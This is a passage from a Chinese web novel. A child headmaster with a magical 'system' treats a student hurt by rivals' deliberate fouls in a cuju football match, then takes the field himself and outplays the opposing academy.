他不悦的捻了捻手指,并未开口,只想着,回头一定要请这书院的山长回去坐坐,好好敲打一番才是。 眼见着比赛开始,这才勉强收了心思,将视线放在了两家书院的学生身上。 只见一方身着青色长衫,束腿束手,背后刺印着华夏书院几个字,并奇怪的符号,而另一方则身着玉色长衫,文质彬彬,背后刺印着龙胜书院几个大字。 风格色彩,泾渭分明。 伴随着开场的哨声,两队各就其位,一只黑白相间的球高高跃起,被一脑袋撞飞,落入了龙胜书院的阵地之中。 柳三变率先运球开跑,连着几个抢球都直接避开,抬脚靠近了守门附近,眼见着龙胜的柳川跟了上来,这才不紧不慢传给了旁边的郭胜开。 令其射门。 郭胜开刚把住球,还未踢,旁边横出一人便想阻拦。 他无意纠缠,转身运球,刚走出几步,莫小川上前助阵,大喊道,“接着!” 球再次被踢回脚下。 郭胜开运了一口气,对准球门,小腿向后高高抬起,还未收回,便好似直接撞到了身后某个人身上。 只听到“刺啦”一声。 龙胜一后卫队员外衫被撕扯开来,痛苦的捂着小腿倒在了地上。 郭胜开:??? 莫小川:!!! 冯琦一脸怒意,顿时举起手来,高喊道,“裁判,他故意伸腿绊人!” 赛事骤然被暂停下来,柏大将军连忙上前查看,郭胜开慌乱的摆手道。 “我没碰他!是他突然站在我身后……” 可拉起裤腿,那小腿处明显的青紫,却令人在场所有人忍不住倒抽一口凉气。 “你还敢狡辩?你没绊的话这伤是怎么回事?难不成是他自己摔得么?” 郭胜开茫然的望望四周,百口莫辩,眼见着所有人眉头紧皱,一脸控诉的看着自己,他不由自己都开始怀疑起自己来。 可方才……他的确没伸腿啊,连手都没来得及伸呢! 柏大将军为难的挠了挠后脑勺,这一次,他又没看到,可人证物证具在,也不好多说什么,只得拿出红牌来,将郭胜开罚下了场。 “什么啊,怎么突然就把郭胜开罚下来了?这还踢什么踢?” “就是啊,哪里有这样的,他说绊人就绊人了?证据呢?” 休息区内,一队的队员们纷纷叫嚷起来,大喊着不公,可龙胜这边也委屈的很,直接拿着一个担架,便把那名受伤的后卫给抬了下来,清晰的淤痕,明晃晃展示给大家看,令所有人都没了言语。 华夏书院换常仕进上场,配合度顿时大大落了下来。 一时之间,二队陷入被动之中。 第46章 第46章解锁医务室 仿佛从一开始便注定了这场比赛的风格。 如今的华夏操场,整个观看席呈现为阶梯式内廓拱状的半圆形态。距离真正踢球的位置,尚隔着一个塑胶跑道,若不是靠着解说席上快速的讲解,大半观众其实是看不清楚球场之上人的脸的,更遑论动作。 尤其蹴鞠本就人多,一个球常常多人上前,在背对观众或者有人刻意遮挡的情况下,那便更难以判断到底发生什么事情了。 即便柏弓良长了一双鹰的眼睛,可要想一一看清场上所有人的动作,那也很难周全。 为此,他甚至特意让清虚子给他搬了个木梯子过来,高高架在了上面。 一脸郑重。 休息区内,童启坐在椅子上,查看着意识海中系统调转出来的高清录像画面,不自觉抿紧了唇。 他确定了,方才并非郭胜开刻意伸腿绊人,相反,对方是刻意撞上来,直接倒地的。 难怪那伤,看起来如此严重,八成是一早便准备好,只等下套。 踢球踢成这个模样,还是代表着书院的身份,也实在是难看。 可即便如此,童启也没办法当场揭穿。 毕竟他没有证据,总不能拿着监控就这么怼在上万人的面前吧? 真这样做了,那明天一纸诉状,等待他的,就是“施行妖法”的指控和判决了。 本身华夏书院平日里就和道家不清不楚的,这一次蹴鞠赛又出尽了风头,过于张扬,如今众目睽睽之下,说什么做什么,都得合情合理,符合礼法,否则上万人的眼睛与唾沫,集合起来,那可是非同小可。 不得已,这声闷亏,只能这样暂时吞下。 但可惜,龙 胜书院却没有见好就收的意思,反而因此尝到了甜头般,愈加放肆起来。 屡次伸腿绊向柳三变,幸好对方小巧灵活,直接避开了,不然一个倒地,又是说不清楚。 常仕进等人想尽办法护着柳三变和莫小川突围,可跑了半场,都没遇到过什么进球的机会。 通常是刚抢到球,传给了两人,便迅速有三四个人围了上来,仿佛只盯着他俩。 更有几次,他们好不容易到达禁区附近,还未射门,龙胜这边便有人上前一脚将球踹出边界线。 按照规则,裁判只能重新开球。 大好形势顿时被迫倒向另一个方向。 华夏书院的学生们还从未见过这样的打法,山长也好,先生也好,教的都是让他们光明正大,猛地对上这不按套路,使阴招的,瞬间便乱作一团,彻底麻爪了,仿佛成了任人宰割的羔羊一般。 尤其是柳川和吴韧还有过节在身。 好几次奔跑的过程中,都能够看到其故意的不断往吴韧身边逼近,用肩膀等地方碰撞对方,甚至抢球时,还明晃晃伸腿绊人,拉扯衣服,就连休息区的谢君仪等人都看到了。 “xu——柳川注意手上动作!” 终于迎来一张黄牌警告,太过明显的行动,令柏大将军吹了哨。 可柳川却立马抬起手,一副茫然无辜的模样,因着无人受伤摔倒,也很难被判罚下去。 一来二去的,性格脾气暴躁的一队队员们早就忍不住了。 尤其是小侯爷沈亦和戚风言更是好几次向山长争取,想要下场代替吴韧或者其他选手进行比赛。 可皆被童启给婉拒。 他站在球场旁,注视着场内的动作,一脸严肃道。 “规则就是规则,在未开始比拼之前,你们确实属于一个书院,有权利选择自己的队伍和站位,可当你们自愿被分成两队,各自为政时,便已经成为了对手。观众席上所有的百姓都已经看过你们第一日和二队的比拼了,这个时候,你说要换队,替对方下场,那让其他人怎么看?岂不是有着我们故意耍赖,欺负龙胜书院无人在场的嫌疑?” 曾经做下的决策,变成今日的巴掌狠狠打在众人脸上。 谢君仪等人憋得满肚子气,却无从发泄。 当初嚷嚷着无法共存,分队分营的是他们,如今想要重新聚在一起的,也是他们。 谁都知道,若是一队和二队合并,那拿下冠军,轻而易举。 尤其汪启元等人心思灵活,远比吴韧他们的手段要狠厉,若今日面对龙胜的是一队,怎么也不会如此被动…… 可谁让他们先自己内部打了一架呢,如今再想合作,一致对外,哪里还有立场? 这深刻的一课,令整个华夏书院的学生们刻骨铭心,多少年都难以磨灭。 而赛场之上,其实龙胜做的并不算太明显,除了内部熟悉规则的人觉察出了一点奇怪外,其余的百姓们,皆只当做是普通竞赛之间正常的拉扯和斗争。 甚至因为柳川等人来自东部,不少好客的文人还在谴责华夏书院不懂得待客之道,过于锋芒毕露,不知让一让对方之类的话。 章县令和宗山长,更是全程笑盈盈观赛,满脸欣赏之意,根本看不出什么内情。 就连顾信之与邢御医坐在中间,也未有什么反应。 系统早在气的在童启意识海中哇哇乱叫起来。 它一阵乱滚,不断吵嚷着让童启下场狠狠惩罚他们,或干脆公布高清摄像画面。 “你是真想我被人烧死啊?”童启无语回怼道,“在场可有不少文人大佬,最忌讳的就是神神鬼鬼的路数,这场蹴鞠赛咱们就够出风头了,再拿出摄像,我怎么解释?” 系统:“我不管,反正我龙傲天就从来没受过这样的委屈!你必须报复回去,不然这也太欺负人了!” 童启:“……我报复不回去。” 他如今的身份可是华夏书院山长,贸然入场,不被骂欺负小孩才怪! 系统:“那难不成你要就这样眼睁睁看着未来的小弟们受欺负吗?” 不然呢? 咱们是开书院的,又不是打架的,但凡竞赛,必有输赢。 失败也是一种学习啊。 正巧他教出来的学生们都过于正义单纯,偶尔接触一下人生的阴暗面,倒也不错。 童启强压着心里的不适如此想着,可直到赛场上一件事的发生,彻底打破了他的想法。 “有人受伤了!来人啊!大夫,快去请大夫!” “先不要动他,先别动他!” “他的手,他的手好像断了!” …… 赛场上方才还挤在一处的两队队员,以一种滑稽畸形的样子交叠在一起,童启闻声,一个速奔,便冲向了人群正中心处。 吴韧也不知道什么情况,方才两队正争着一个球,常仕进护着他和柳三变往对面突围,恰巧柳川和冯琦又逼了过来,暗暗撕扯。 没办法,他只得退出人群,去另一个方向想办法接球。 奈何刚刚脱困两步,转头却看到有其他的人跟了上来,伸腿绊他。 他没有看清楚脚下,一个翻转,被撂倒在地上,整个腿都折叠歪斜着,还未起身,便看到冯琦和柳川装作脚步踉跄的样子,直接冲他压了下来。 对准的,便是他那条伸出的腿! “啊!” 想到这里,吴韧面色苍白,一身冷汗,陡然望向旁边。 常仕进不知何时冲出带了他一把,死死护住了自己,可与之相对应的,则是对方的右手手臂,整个被掰折,呈现出奇怪的角度,被几人死死压在了身下。 他慌忙爬起,大喊道,“常仕进!常兄!常兄你怎么样?常兄!” 莫小川转身看到这里叠成一团,早就吓得魂飞魄散。 柳三变等人更是急了,手忙脚乱将人托起后,确定是真受了伤,当场便撸起袖子,和龙胜的人扭打在了一起。 柳川早就等着这个机会了,也不示弱,直冲着柳三变的眼睛便反击了回去。 “放肆,你们竟然敢在我们华夏书院打人!” “疯了吧?” …… 谢君仪和沈亦小侯爷怒不可遏,紧跟在童启身后,纷纷加入了战场之中,柏大将军和继本叔忙带着人上前阻拦,许久,才将两方堪堪分开。 可即便如此,常仕进的手却是真的断了。 对于一个即将上场参加科举的士子来说,手意味着什么,毋庸置疑。 常仕进的父母在听到消息的一瞬间便直接怒急攻心,晕倒在了观看席上。 而童启始终沉稳的蹲守在常仕进旁边,查看着情况。 看似冷静,却连手都在抖。 不能断,千万不能断! 这可是他千辛万苦培养出来的好苗子啊! 几乎不假思索的,他当场便将自己所拥有的声望值和抽奖券全用了出去,一阵连抽,只为医护用品。 此时,童启是真后悔自己没学过医了,更后悔没有多加防备,提前料到龙胜书院的学生们竟会如此恶毒! 下此狠手。 观众席上的顾信之等人不知发生了什么,听说有学生受伤,均忍不住咯噔一声,皱紧了眉头。 邢御医连忙跑了下去,高举着手道,“让我看看,我是大夫,我是大夫!” 包围圈内,童启蹲在常仕进身边,心疼的看着自家学生满头是汗,道,“都先别移动他,去拿担架,再叫两个人来,教学楼北边有个医务室,那边刚修结束,让人去里面找白色的纱布和固定用的木板。再打两盆热水,我们将他抬过去,千万要小心。” 常仕进躺在草坪上,惨笑着问向童启,“山长,我的手……没事吧?还能治好吗?” 童启斩钉截铁,“能,绝对能!” 不能,我把系统给吃了! 近乎把所有的高阶中阶全部抽完,系统总算没敢掉链子,暗箱操作着,开出了教学楼的附属建筑——医务室。 里面虽只有一些基础的用品,但胜在配合着高阶抽奖券,开出来了个一键诊断扫描的功能。 他方才已经用这个功能将常仕进的手臂整个扫描过了,只是轻微骨折,复位之后,拿石膏或者夹板固定一段时间,即可,同时配上止痛药和各种促进生长的药剂,慢慢恢复训练就行,应该能恢复到巅峰状态。 只是以后提取重物之类的剧烈活动,应该 是不能再做了。 这已经是这个位面能够拼尽全力,做到的最大限度。 换其他人,其他书院,怎么也不可能做到如此?可即便这样,仍难以抵挡童启满腹的愧疚与愤怒。 是他将学生置于了险境之中,却忘记了人的心有多坏。 是他“无视”了学生的委屈与辛苦,只图着所谓的教育,却忘记了自己作为老师关怀照顾的职责! 正在他内疚的时候,小花气喘吁吁将所要的东西全部递了过来。 她就守在这附近,在听到童启发号施令的一瞬间,别人还在乱作一团时,便率先冲了出去,几乎没怎么查看新的建筑情况,便迅速精准的将童启要的东西拿了回来。 童启意外的看了她一眼,没有说话,蹲下身替常仕进包扎着。 “你忍一下。” 他将一团布条塞进常仕进口中,干脆利落的按照扫描出的诊断方法,进行复位。 邢御医早已站在旁边看呆了。 他一开始还想要质疑这动作是否可行,但随着童启的一系列操作渐成逻辑,也不由陷入了深度思考与推敲之中,忘却了要来帮忙的事情。 “这法子……有什么说法吗?谁教你的?” 他本能急切的问道,可现场却无人理会。 一路跟随着帮忙将常仕进送到医务室后,童启开口将小花和继本叔留了下来,负责照料之事。 “可小花她……” 童继本犹豫的迟疑着,表情有几分惊讶。 毕竟男女七岁不同席,两位学生皆还未成婚,同处一室,这不太妥吧? 童启一边整理着羊肠手套,一边抬头看向小花处,问道,“如今书院的医护室里正缺少一位女医,我有心想从头培养一名学生,专门负责此事,你想学吗?” 小花几乎连懂都没懂,只听见了“学习”二字,便顿时眼睛一亮,忙不迭点头道,“我愿意!” 实际上,童启早就非常满意这个勤奋的女学生了。 但可惜一直没有理由,收她为徒弟,这个时代,男女大防虽还没宋末明初那么变态,却也不容许女子进入书院,读书识字。若他敢冒天下之大不韪,和礼教公然作对,那当场便能被登上耻辱席的位置,收获各种难听的评价。 所以童启有了一个新主意,让她学医。 相比于女子读圣贤书,这个时代的医学仍被归为杂类,和三教九流也差不了几分。 属于专科技术,手艺活。 不怎么受到重视。 且历史上早有女医传统,像是西汉的义妁和晋代的鲍姑等(注1),都是赫赫有名,所以也不算逾矩,破坏规则。 可即便如此,一个厨娘的女儿,就这么被山长教授了医科,进入华夏书院读书,这已然能引起不少人的关注和震惊了。 邢御医跟着走过来,听到这番言论,更是瞠目结舌道,“你要将这些传给这位小姑娘?她什么都不懂,何必麻烦,若你真想收徒,我倒也可以推荐一二……” “不必了,我相信小花能够胜任。” 童启坚定道。 学医不仅要的是大胆心细,还得有一股子执着的劲头,王小花多次争取把控自己的命运,不随波逐流,且聪慧坚定,勤奋刻苦,整个书院,目前尚无人出其左右。 没想到自己的意见竟被如此干脆的拒绝,邢御医欲言又止。 他身边跟过来的小厮忍不住开口道。 “你知道这位是谁吗?这可是大名鼎鼎的邢御医?” “哦?御医?那这里便麻烦你了!稍微给他开一点安神止痛的药就行,谢谢。我一会儿回来给你算银子!” 听见这,童启直接将这里的一切托付给了几人负责,转头便匆匆往操场跑去。 第47章 第47章(营养液加更)亲自上场…… 没办法,因为即便出了这样的事情,可比赛却仍旧未结束。 华夏书院的人员已经被打的“满地飘零”,罚下场的罚下场,断手的断手,罚球的罚球,逐渐连一整支队伍都难以凑齐了。 可偏偏系统却还一直在上窜下跳的添乱。 【叮,以眼还眼以牙还牙,助力华夏书院拿下这场蹴鞠赛的冠军,好好惩罚一下犯规者吧! 成功:奖励西医入门教程一套 失败:无惩罚】 【叮,恭喜宿主收下华夏书院的第一个女学生,开启了男女教学,综合发展的先河成就!奖励中阶抽奖券一张!请继续努力!】 【叮,有了医学生,怎么可能没有医学博士呢?请在一个月内为华夏书院引入专职老师三名!助力不同的梦想吧! 成功:解锁书院附属建筑-综合大楼 失败:物理抹杀】 一连串的任务提醒,童启无语至极。 “你这就是蓄意报复了吧?哪里有必须引入专职老师的规定的?我这里培养的是科举学生,不过开了个医务室而已,就得招专职老师进来,还三名?我去哪里给你找三名?还失败就物理抹杀?说你没有暗中搞事,我都不信!” 系统:“这个真的不是我!我虽然生气,但涉及到物理抹杀的那都是主系统的命令,突然发布,我也不知道怎么回事,可能……是哪里出了什么bug了吧?我回去问问!” “等等,你回去?往哪儿回去?那我这里怎么办?”童启连忙喊道。 他可就只有一个月的时间,若完不成,等系统回来,他尸体都凉透了! 系统挠挠脑袋:“是哦,那怎么办,我要是回主位面的话,来回怎么也得三个月了……” 真的是半点都不靠谱。 他总算是知道之前的宿主为什么拿到了系统还能纯纯被搞死了。 童启不着痕迹的翻了个白眼,“你们就没有什么其他方式向上申请吗?算了,我先完成这个任务吧,然后你再回去。” 毕竟这些东西,还真是他目前急需的。 至于招老师嘛,反正还有一个月,不行就从大佬那边摇人再说。 操场上,一片混乱,宗山长和章县令终于后知后觉察觉到了一点不对劲之处,出手阻拦着继续的比拼。 “都这样了,人也凑不齐,不如先暂停比赛,等回头有时间再继续。” 可没等柳川他们回应,观众们已经开始不满起来。 “为什么要暂停,继续比啊!我们可都是买过票的,怎么也得把这一场踢完再说吧?” “就是就是,哪里有打了一半的?不就少了个人么,再补一个就行!” 王二等人连忙喊道。 这庄家可都还压着赌注呢,若是没有结果,那算是谁赢谁输啊? 可不能再来一次了! 如今龙胜书院的胜率极高,这就等十几分钟,就能开奖结束的事情,拖什么拖? 柳川那边的成员们意思也是继续,毕竟都走到这一步了,没道理不一鼓作气,拿下冠军来。 没办法,二队只能派半吊子的童庆安,暂时顶上去。 他身量小,还没怎么训练过,只知道规则而已,完完全全就是上来凑数的。 赛事俨然已经临近末尾,可进球的人,双方却都没有一个。 后半场,基本上没有人敢再往龙胜的身边靠拢,尤其是华夏书院领头的吴韧等人,那更是连衣角都避之不及,见到就躲。 他们可是要参加科举的人,谁还想再来一次断手的事情啊? 这搞得柳川等人愈发嚣张起来,不住的抬脚射门。 幸而有杨舟万死守着,这才没有让对面入球一个。 “xiu”的一声,球再次被杨舟万抱住,重新发出。 可不到几分钟,再次砸向他的胳膊处。 打偏后,又被射门,杨舟万再次抵挡,大腿上又被狠砸一下。 只能说幸好童启将球换成了这种稍稍具有一定弹力的材质,不然若真是木质蹴鞠的那种,只怕光这一场下来,球就得被踢废十几个! 杨舟万 咬牙坚持着,额头上青筋直冒,十几次的射门,力道不减,砸的他满身伤痕。 到了最后,基本上都成了用身体在纯纯的扛球。 旁边的吴韧和汪启元早看不下去了,大喊道,“别接了,让他们赢就是,无所谓!” 比起命来说,输赢又有什么意义呢? 一场比赛踢成这样,已经成为了单方面的凌虐了! 华夏书院不少学生坐在休息区内,哭的上气不接下气,家长们更是不忍直视,纷纷别过了脑袋,不想再看。 杨舟万的父母泪如雨下,捏紧了手指,谢君仪和戚风言等人更是恨自己的愚蠢,明明都是华夏书院的学生,却不想着团结,只知内斗,如今眼睁睁看着外人欺负自己家里人,这才清醒了自己的窝里横属性,只能无用的坐在这里,没有半点方法! 等童启赶回来,杨舟万早已经两股战战,被踢得伤痕累累,力不可支了。 他抬手,请求杨舟万下场。 “不,山长,我还能再撑一会儿……” “你撑个屁!”童启头一次在学生面前爆了粗口,道,“你看看你现在的样子,难不成也想学常仕进那样,在医务室里躺上个几个月吗?” 杨舟万咬牙抱球倒地,坚守在门口处,倔强不已。 不得已,童启只能派学生们将他强行拉下场。 守门员没了,这下,华夏书院是真的凑不够一个队伍了。 清虚子抬手数了数,一脸焦急,“如今二队只剩下后勤,还有几个完全不懂蹴鞠的,怎么办?我们还得出个人顶上去才行。” “谁说没人了,山长不也是人吗?一队的不能上,可童山长按理说出身寒门,若是被分类的话,应该也能属于二队吧?” 始终踢不进去,柳川又累又烦,如今见到正主终于赶回,这才冷哼一声,彻底不再隐藏,话语中不自觉便带上了一点挑衅的意味。 “柳川!不得无礼!”宗山长怒斥道。 走到现在,他多少也看出了一点端倪,这华夏书院无人上场的背后,绝对和自己的徒弟有点关系,可碍于手心手背都是肉,没有证据,他也不好就这么直接怀疑责怪。 说出去,倒显得他这山长不相信自己家里的人。 因此只能讪讪着警告一声,就此作罢。 童启等的就是这句话,他挑了挑眉,问道。 “你确定要我上场?那岂不是以大欺小,让你们吃了亏。” 龙胜书院的人顿时仰头三三两两的笑了起来。 冯琦上前一步,看着堪堪身高到达自己腰部的小个头,肯定道,“童山长您放心,比起年纪,我们可都要比你还大上个五六岁了,就是身高个头,也是我们更沾光一些。您若是真的愿意赏脸和我们踢一场,那我们肯定没话说,自然是心服口服的,怎么能算作以大欺小呢?” 他早就看不惯这个童启了,这么壕奢的一个书院,管事的竟然是个小屁孩。 就这,他们还得一口一个山长,语气恭敬。 呵呵,他谁啊? 柳川更是不屑的笑出声来,华夏书院若想要收归三皇子名下,那么第一步需要解决的,便是童启童山长。 就算看不清对方背后的势力,可若能解决了他,那么其余的,也就无需介怀,风一吹,自然便是一盘散沙。 他能让常仕进下场,那么便能用同样的办法,让童启也下场。 什么调查,什么许翰林,能自己亲手跟三皇子邀功,还需要什么其他的人么? 想到此,柳川眼中闪过一丝恶意,附和道,“没错,若童山长愿意,我们自然是心甘情愿。” “山长!” “山长!” 汪启元等人闻言,一脸严肃的上前阻止。 他们从未见过山长踢球,更没有见过山长怎么参与过运动,倘若出了什么问题,那整个华夏书院都难辞其咎! 君子不立危墙之下,怎么能因为学生吃了点亏,就让山长上场去找回场子呢? 没有这样的道理! 不少二队后勤组的成员们也均不同意,比起童启亲自去踢,他们宁愿自己上前顶替。 童启心暖不已,抬手拍了拍几个学生的肩膀,安慰道,“没关系,我也好久都没运动过了,如今活动活动拳脚,也好。” 他简单进行了一下热身,重新换了套轻盈的束手束脚的衣服,这才再次上场。 观众席内,听说华夏书院的童山长要亲自下场踢球,顿时沸腾一片。 比起其他学生,这童启可算是他们伊川,甚至河南府最重磅级别的“明星选手”! 不少人甚至来此观赛就是为了见童山长一面,还以为这一次对方是不会参加了,可没想到等着等着,竟然还能有这样的好运气?! 很多后排昏昏欲睡的观众骤然苏醒,站起身便想要向前排逼近,就连门口处的“黄牛”们也不卖票了,听说了这事后,便急匆匆往里赶,前往围观。 画画的商人更是喜得不得了,连忙拿起新的纸笔便交给匠人们再次描摹,务必要将此盛景给记录下来。 王二等人重新起了一盘新赌局,只为了压童启最后的成绩,参与的人数最后一统计,更是比以往所有的盘子合起来还要多!就连旁边摆摊的少东家们都忍不住参与了一脚,压童启胜。 这是一种盲然的相信。 头一次见到自家山长如此“可怕”的人气,旁边的学生们都给震惊住了。 就连“新知府”顾信之都忍不住发自心底的堂皇畏惧,如同吃了一颗苍蝇般坐在前面,阴沉着脸,沉默不语。 童启以前在大学便是足球队的,后来当了老师后,虽没考上公立学校的编制,可也好好做过一段时间的代课老师,每日一下学,便和学生们勾肩搭背,打成一片。 踢足球,比起竞技,于他来说,更像是一个日常社交运动。 并不算陌生。 但其他人不知道,眼见着童启进入场内,个子矮小,体格也不算壮硕,不少人担忧不已,而二队的成员们更是浑身紧张,生怕一个拖累,将山长带出个好歹来。 童庆安被安排到了球网处顶替新的守门员。 童启特意给他搬了个小板凳,让他坐下,再三叮嘱道。 “你不必管,就只是坐在这里看着就行了。” 几人不解其意,眨眨眼,乖乖照做。 柏弓良威严肃穆的站在场内,脸上早已没了笑容,他拿起球,放在正中间的白线上。 双方队员一一对立着,火药味四起。 伴随着哨声的开始,球被人一脚踢飞,高高扬起,又重新落下。 第48章 第48章还你一球 “接着!” 童启轻快的喊道,率先开球,却反身一脚将球踹给了柳川。 如同谦让一般。 众人:??? 柳川懵了,虽不知道什么情况,但却本能一喜,带起球便往对面球网方向跑去,可还未走两步,身后一个斜铲,球又被重新抢了回来。 伴随着一句“谢啦”,隔着大半个操场的距离,童启背对着他,直接射门。 “咻——”的一声。 龙胜的守门员只觉刚开始比赛,连赛场上奔跑的人是谁都还未看清,一个东西便迅速朝他飞了过来,本能一躲。 观众席上山呼海应般的欢声响起。 “啊啊啊啊球进了!” 清虚子兴奋的声音顺着操场四面的喇叭顿时震响,无数华夏书院的学子和家长们,纷纷亮起了眼睛。 守门员一脸茫然。 进了?进了?! 哪儿进的? 他转身一看,看到自己身后翻滚入网的足球,整个人都开始怀疑起人生来。 别说他了,就连其他赛场上龙胜书院的队员们,也皆难以置信的看着那射入的距离与方向,久久难以平静。 蹴鞠……合着是这样玩儿的吗? 这都还未开始啊!怎么就射门了? 柳川更是瞪大了眼,看看自己脚下,又看看 球网,他这才总算明白了过来方才童启那句“谢谢”的意思。 按照规则,开球时不能射门,必须使球经过其他队员之后,才能够射入,所以对方这是…… 直接把他当成运球的了? 这是嘲讽吧,这绝对是嘲讽吧?! 从未想过外表正经的华夏书院山长,内里竟然会是个这样贱里贱气的性格,柳川无语的顶了顶后槽牙,笑出声来。 童启却伸出手向着观众席上的众人们打了个招呼,乖乖巧巧的,然后一一与二队的球员们,吴韧、莫小川等碰了碰手臂,鼓励道,“没事,别紧张,放轻松打。” 这怎么能不算是轻松呢? 僵持了大半个赛事的比分,随着这突兀轻松的一球,顿时倒戈。 之后便仿佛有了底气一般,一路开挂,不像是踢球,更像是故意戏耍。 “这是怎么了,站不稳吗?谢谢啦,球我就拿走啦!” 无视伸到眼前的双腿,童启轻轻一踩,将球挑起,直接避开冯琦的抢球,用另一只脚从球下方穿过,然后直接将球运向了对方身后。 刚冲过来的柳川连衣角都没碰到,直接便与冯琦撞到了一起,双双倒地。 明显的动作,距离童启已经有十几米开外,还未来得及缩回的腿和手让观众席上不少人皱起了眉头。 “我这怎么方才好像看到了龙胜书院那个冯琦伸腿绊人了?” “对呀对呀,刚才好像有人在拉扯童山长的衣服啊,但没有拉到!” “裁判呢?裁判怎么不吹哨?” 柏弓良站在裁判席的位置上,欲吹又止。 他也很想吹哨啊,到了今日这样的场景,昨天崇晓林他们究竟发生了什么,已经非常清晰明了,如此显眼的动作,但凡童启往后一倒,便可以将柳川、冯琦双双判罚下场去。 可关键对方双双倒地,童启却连挨都没挨到。 这就有点模糊了,还能算犯规吗? 规则说不让拉扯、故意绊人,可也没说不让倒地啊? 倒像是故意在阻止他罚人下场一般,童启灵活的穿梭在几人之间,如同滑腻的泥鳅一样。 不射门,也并不让任何人碰到。 一点点试探着,像是在逼着柳川他们使出更多的招式来似得。 “咦,你们这也太慢了吧?那我就不客气了啊。” 童启骤然加速,瞬间超过柳川,抢先一步将他的球断下,转身传射给吴韧。 柳川气的青筋暴涨,可再想寻人时,对方已经退回了原本的位置上。 冯琦大口喘着气,好不容易艰难的将球运到禁区附近,刚想射门,童启一个侧身拦截,将球踢出了场外。 重新开球。 仿佛原本的方法一切失了效,那些曾经用在别人身上的恶心招式以数倍的反馈,还了回来。 一场赛,不过十几分钟,龙胜书院的队员们已经被打的一肚子气,只恨不得拎起童启狂揍两下。 柳川和冯琦也被激得怒气上头,越发不管不顾了起来。 什么胜负,什么输赢,这些都已经往后放了,他们的目标变成了,无论如何,都要逮住童启,让他死!或者将其判罚下场! 逐渐光明正大的犯规动作,令观众席上不少的观众们忍无可忍! “这就是在伸腿绊人啊!那个柳川,我特意看着他,都三回了,到底怎么回事?” “耍阴招啊这是?怪不得郭胜开被罚下场,这不就是明显的讹人么?” “他们一群人都围上去了,山长要怎么办啊?” 慢慢缩小的包围圈,愈加恶意明晃晃的动作,都令童启忍不住扬起一丝笑容来。 “给你!” 他故技重施,再次将球射给了柳川,可这一次,对方却不敢再运球了。 他一脚将球踢开,恶狠狠的看着童启,直接半个身子扑了上去。 童启灵活避开,对方扑了个空。 “不是吧,这也不要?都开赛好久了,连踢都不敢踢了啊?” 小小的个子,带着一丝嘲讽,俯视着看向趴在地上的柳川,微扬起唇角道。 “我发现你们书院的人好像都很喜欢土地,总是动不动就往上面趴,是四肢刚得到驯化吗?还是单纯喜欢我们这操场地面啊?” “既如此,那我就不客气了。” 童启利落的运球,从柳川的脑袋上跨了过去,一个射门,看也未看,直接射入。 “球再次进了!0:2,华夏书院的童启再次射门,成功拿下2分的记录!” 射门! 再次射门! 观众席上欢呼声暴涨,不绝于耳,许多人连嗓子都喊哑了,兴奋的声嘶力竭。 休息区,一队、二队的成员们早已看呆掉了,尤其是谢君仪、郭胜开和沈亦等人,那更是眼睛连移都难以移开半分。 原来如此。 蹴鞠原来是可以做到如此优雅,如此不慌不忙,仿佛脚下每一步路都是精心计算好的,像是跳舞一般的轻盈吗? 他们从未见过山长踢球,原本还以为对方死活训练他们,举办什么蹴鞠大赛,只是为了单纯的让他们替学校扬名、为校争光的。 可看看?哪里还用得着他们去争? 若真的一早就让山长本人上场的话,那其他人还用得着踢么? 难怪那新的规则如此完备,像是一早就准备好了的,原来这苛刻刁钻的角度,皆是山长本人想过的,由此制定么? 太可怕了,太恐怖了! 王二等赌徒眼泪都已快哭干了,谁能想到,明明是稳赢的局面,竟然随着童启的下场直接一边倒? “不愧是华夏书院。” 柏老忍不住赞道。 就连柏大将军和宗山长、章县令等人,也不由心服口服,默默点头。 当有人对一项运动精通到所有人难以比肩,无限度碾压时,旁观者皆会感到沦陷与崇拜,而共同竞技者,只会觉得崩溃与绝望。 一开始,童庆安还颇为忐忑,浑身紧张如同竖满了天线一般蹲守在球网前,可渐渐的,这球就几乎没有出现在他的附近过,便不由渐渐松懈下来。 从惊讶再到百无聊赖,最后干脆拖过山长给他准备的小板凳,撑着脸坐在球网前,安安稳稳的等待着。 因为根本不用守。 这球,且遛着呢。 场上,柳川等人被溜得满场跑,气喘吁吁,半死不活。 “到底什么情况?这人怎么这么能躲?难不成背后长眼睛了么?” “抓不到,根本抓不到,那守门员什么情况,能不能防住,这都进两个球了!” “简直废物,守门员是谁啊,让他滚,我闭着眼睛都比他接的好!” …… 眼见着比赛时间缓缓流逝,来到了最后几分钟内,龙胜书院的队员们也不由焦虑起来,伴随着信心的彻底坍塌,一向“团结”的内部也开始产生隔阂。 柳川怒极,越想越气,直接一把拽下守门员,自己亲自上了。 “滚开,我自己来!” 守的什么玩意儿,抢不到球,好歹别让人进球啊! 这一脚一个的,你以为买东西呢? 守门员也很委屈啊,他明明瞪大了眼全程盯着的,可对方却总能找到最适合的漏洞与角度,稳稳进球,完全避开他的防备! 就跟见了鬼似得。 守不住他能怎样? 你来就你来,亲自试试自然就知道有多难了! 他立马将手套和位置让给了对方,一副避之不及的样子。 见到这样的变动,童启挑了挑眉,颇觉有趣。 “你确定要这样?没有经过训练的守门员,强行守球,可是有可能会受伤的。” 看似规劝,可话语中浓浓的鄙视与调侃却令柳川握紧了掌心,忍不住吐出一口恶气道。 “你尽管来就是。” 不过一个十一岁的小孩子,再能躲,腿部的力量又能够到大哪里去? 怎么就能守不住? 童启见他认真,顿时眼神一变,露出个冷厉的目光来。 方才,就是这个人把他的好学生给踢伤了的是吧? 方才,就是这个人把他的好学生给故意搞断了胳膊是吧? 既然如此,那我可就不客气了。 他淡淡的开口与脑海中的系统打了个招呼。 “统子,你能帮我把这腿部力量开到最大点吗?” 对方为难的卡了一瞬。 “你真以为我神仙啊!所有的数据都是需要采集的,你本身就是十一岁的小娃娃,我就是给你拉满了,也照样只能有十一岁时最巅峰的身体状态,这已经是过度透支了!” “那短暂的让我恢复一下前世的身体素质呢?” 系统:“……嗯,这倒是可以试试看。” 它从自己的小背包里一阵翻找,调出了最开始确认宿主绑定时,采集到的所有身体资料,在短短的十秒钟时间里,迅速将童启的身体素质拉回到前世最巅峰时的状态。 一瞬间,童启只感觉到大腿处浑身澎湃的汹涌之力。 系统:“只能坚持五秒钟哦!” 童启:“够了!” 他一跃起身,将球从半空中猛地射向球网处,用尽了所有的力量。 一个成年男子的全力。 对准的,却并非球网,而是柳川这个人。 巨大的疾风裹挟着扑面而来的力道,猛地冲向下方,骤然如烟花般,带着柳川整个人向后飞起,连人带球,一起射向了球网之内。 这下,所有人都惊呆了,猛地站起身,瞠目结舌的看着。 